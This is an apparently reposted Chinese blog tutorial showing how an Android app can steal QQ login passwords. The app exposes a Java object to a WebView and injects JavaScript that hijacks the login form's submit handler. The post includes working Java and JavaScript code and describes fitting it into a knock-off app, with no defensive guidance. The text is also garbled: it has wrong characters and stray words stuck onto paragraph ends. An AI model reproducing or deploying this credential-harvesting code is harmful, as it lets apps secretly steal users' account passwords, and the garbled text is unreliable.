WebView Attack In Android : 解析第三方帳號登陸平臺所存在的安全隱患

轉載請註明出處:http://blog.csdn.net/singwhatiwanna/article/details/17663345

前言

這是一個頗有趣的話題,WebView在Android中包括IOS中都是一個很重要的控件,有了它,咱們能夠直接在應用裏打開網頁而不用跳到瀏覽器,且網頁效果和瀏覽器幾乎同樣,這樣會加強用戶體驗,固然也有缺點:佔用內存太大,由於WebView加載網頁所耗費的內存所有算在你的應用的堆裏,若是不作特殊處理,你的應用就更容易OOM了。可是這不是咱們今天所討論的話題,我今天要介紹的是:若是利用WebView強大的特性來作一些有意義的事,好比違規存儲第三方登陸平臺的帳號信息(好比QQ登陸平臺、新浪微博等),爲何說是違規存儲,由於第三方登陸平臺確定不肯意將本身的帳號信息給你,尤爲是帳戶密碼,由於這涉及到帳戶安全。固然,本次分析只討論技術可行性,不討論實際可行性,確切來講,完成這一切要有一個前提:你的應用接入了第三方登陸平臺(這個很常見)而且你有權利經過你的應用去收集帳號信息(這個很難,可是你作個山寨應用是能夠作到的)。另外,因爲本文重點不是介紹如何使用WebView,因此基礎知識請你們自行了解下。還有,博主寫本文只是和你們分析技術,同時指出問題,並非鼓勵你們去搞破壞。javascript

WebView重要的特性

  • WebView支持JavaScript,通常的應用爲了得到正常的體驗效果,每每還會設置WebViewClient(頁面加載進度相關接口)和WebChromeClient(網頁彈出對話框相關接口等),總之,經過合理的設置,一個WebView基本能夠作到和瀏覽器訪問頁面同樣的效果
  • WebView支持在Android代碼中執行JavaScript語句:mWebView.loadUrl("javascript:" + mJsString)
  • WebView支持在JavaScript中執行Android語句(這個特性Google官方的解釋是:使用的時候尤爲要注意安全性):mWebView.addJavascriptInterface(new SavePasswordJavaScriptInterface(), "SPJSInterface")

好了,有了上面幾個特性,咱們就能夠進入正題了html

第三方帳號登陸平臺所存在的安全隱患

這裏以QQ帳號接入平臺爲例,下面將會演示一個如何違規存儲第三方帳號信息的方法,因爲除了Android還涉及到JavaScript、HTML等東西,因此具體的實現上可能會有細微差異(由於HTML和JavaScript會改變),可是思想是不變的。前端

下面是一段QQ接入平臺的登陸頁面的HTML代碼,我進行了刪減,大致以下所示:java

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="application/xhtml+xml; charset=UTF-8" />
<meta name="viewport" content="width=device-width; initial-scale=1.0; minimum-scale=1.0; maximum-scale=1.0"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta content="telephone=no" name="format-detection">
<meta http-equiv="Expires" content="0"/>
<meta http-equiv="Pragma" content="no-cache"/>
<meta http-equiv="Cache-Control" content="no-cache,no-store,max-age=0,s-maxage=0,must-revalidate" />
    <title>賬號設置</title>
</head>
<body class="unilogin" style="height:100%">
    <div id="ptlogin-container">
        <h1 id="title">賬號設置</h1>
        <!--  普通登陸 -->
        <!--注意:咱們只要在這裏執行咱們的代碼就能夠了,由於登陸的時候表單提交會執行onsubmit
        或者就算HTML不是這麼寫的,也不要緊,咱們的本意是當表單提交的時候能執行咱們的代碼就好了
        咱們只要在Android中執行一段js,經過js給表單的onsubmit事件加入咱們的代碼,估計難不倒各位
        -->
        <form onsubmit="return false;">
            <fieldset id="loginBox" class="loginfiled" style="display:none">
                <p>
                    <lable class="input-title">賬 號</lable>

                        <input type="tel" id="ptlogin-name" placeholder="請輸入QQ號"/>
                        <a class="empty" id="clearQQ" style="display:none;">清除</a>
                </p>
                <p>
                    <lable class="input-title">密 碼</lable>
                    <input type="password" id="ptlogin-password" placeholder="請輸入密碼">
                    <a class="empty" id="clearPwd" style="display:none;">清除</a>
                </p>
            </fieldset>
            <div class="varify-wrapper clearfix" id="verify_box" style="display:none">
                <div class="show-varify fr clearfix">
                    <div class="img-varify fl">
                        <img id="verifyPic" src="http://3gimg.qq.com/wap30/img/netdisk/verification-code.png" width="110" height="38"></div>
                        <div class="fl"><a id="reVerify" href="#">換一張</a></div>
                    </div>
                <div class="fl"><input id="ptlogin-imgVerify" type="text" placeholder="輸入驗證碼"></div>
            </div>
            <input id="isNeedSid" type="hidden" name="isNeedSid" value=1 />
                <input id="bid" type="hidden" name="bid" value=flashgame />
                <p><input id="ptlogin-submit" class="btn-login" type="submit" value="登 錄" style="display:none"></p>
        </form>
    </div>
    <!--沒法登陸-->
    <div class="common-box box-sm" id="ptlogin-prompt-1" style="display: none">
        <h3 class="bd-bm-bk" id="login-errmsg">登陸過於頻繁,請稍後再試</h3>
        <div class="btn-md">
            <input id="ptlogin-relog-1" class="btn-dialog btn-cancel" type="reset" value="肯定">
        </div>
    </div>
    <!--出錯提示-->
    <div class="common-box box-error" id="ptlogin-prompt-2" style="display:none;">
        <h3 class="bd-bm-bk" id="login-errmsg">登陸密碼錯誤,請從新輸入</h3>
        <div class="btn-md">
            <input id="forget-pwd-1" class="btn-dialog" type="button" value="忘記密碼">
            <input id="ptlogin-relog-2" class="btn-dialog" type="reset" value="從新輸入">
        </div>
    </div>
    <!--正在登陸-->
    <div class="load-box" style="display:none;">
        <div class="load-circle"></div>
        <p>登陸中...</p>
    </div>
</body>
</html>

實現思想:

首先向WebView注入Java對象,在WebView加載完畢的時候執行一段js,給表單提交事件關聯上咱們的代碼,即讓表單提交的時候執行所注入的Java對象的一個方法,js執行咱們的方法的時候能夠把qq號和密碼做爲參數傳遞過來,而後咱們就能夠保存了。下面的步驟只示範如何把qq密碼存下來,不過,存qq號是同樣的方法,多傳遞一個參數就好了。瀏覽器

實現步驟:

第一步:聲明要注入的Java對象

public class SavePasswordJavaScriptInterface  
{  
	public void savePassword(final String password)
	{  
		Log.w("ATTACK", "enter spjsinterface:"+ password);

		mHandler.post(new Runnable()
		{  
			@Override  
			public void run()
			{
    			//這裏就是用戶登陸的密碼了,你能夠存起來了
    			mPassword = password;
    			Log.w("ATTACK", mPassword);
			}  
		});  
	} 
}

第二步:注入上述對象

//這裏是注入Java對象
mWebView.addJavascriptInterface(new SavePasswordJavaScriptInterface(), "SPJSInterface");
//這裏是打開登陸平臺頁面
mWebView.loadUrl(LOGIN_URL);

第三步:在WebViewClient中的onPageFinished方法中注入js,這樣當登陸的時候就會調用咱們以前注入的Java對象,同時乖乖地把密碼做爲參數傳過來

@Override
public void onPageFinished(WebView view, String url)
{
    super.onPageFinished(view, url);
	//僅當是登陸url的時候才注入咱們的js,不要任何url都注入
	if (url.equals(LOGIN_URL)) {
		//要注入的js
		String js = "document.forms[0].onsubmit=function(event){var pwd = document.getElementById(\"ptlogin-password\").value;window.SPJSInterface.savePassword(pwd);return false;}";
		Log.w("ATTACK", "inject js, js= " + js);
		view.loadUrl("javascript:" + js);
	}
}

總結一下

從上面三個步驟,咱們就能夠獲取第三方接入平臺的帳號信息了。這裏我再簡述一下思想:首先注入java對象,當登陸頁面加載完成之後,再注入一段js,讓登陸表單在提交的時候可以執行咱們以前注入的java對象的方法,而後就好了,等用戶輸入帳號信息點擊登陸的時候,咱們的方法就會被調用,而方法的參數就是帳號信息。不一樣的接入平臺注入對的js應該是不同的,可是這個我相信絕對難不倒你們。不知道會不會有些朋友以爲很差理解,主要是由於用到了java和js的交互,涉及到html中表單的提交和js中的事件,這些知識是屬於前端開發範疇的,因此我沒有去詳細地介紹它,感興趣的小夥伴們能夠本身瞭解下html和js。最後,新的一年裏,祝你們新年快樂!
相關文章
相關標籤/搜索